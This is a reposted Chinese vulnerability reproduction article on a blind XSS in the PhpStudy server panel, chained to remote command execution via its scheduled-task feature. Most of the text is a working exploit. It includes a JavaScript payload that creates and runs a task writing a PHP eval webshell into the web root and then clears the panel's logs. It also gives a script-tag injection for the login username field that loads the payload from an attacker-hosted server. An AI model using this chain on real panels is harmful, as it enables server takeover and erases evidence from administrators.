phpstudy面板XSS盲打_计划任务RCE漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 phpstudy面板XSS盲打_计划任务rce漏洞

0x01 阅读须知

0x02 漏洞描述

PhpStudy国内12年老牌公益软件，集安全、高效、功能与一体，已获得全球用户认可安装，运维也高效。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。PhpStudy面板存在xss盲打漏洞，攻击者可以JS调用面板中的计划任务执行系统命令。

0x03 漏洞复现

1.python开启一个8端口的web，放入poc.js，内容为使用小皮面板的计划任务写入网站根目录1.php（需根据实际路径写入webshell）

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="w";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" > D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

2.用户名输入如下payload，密码任意登录两次（登录一次面板有时候会不显示）

<script src=http://127.0.0.1:8/poc.js></script>

3.当管理员进入了首页或者操作日志，即可执行计划任务写入webshell（注：360会阻止写入.php的文件）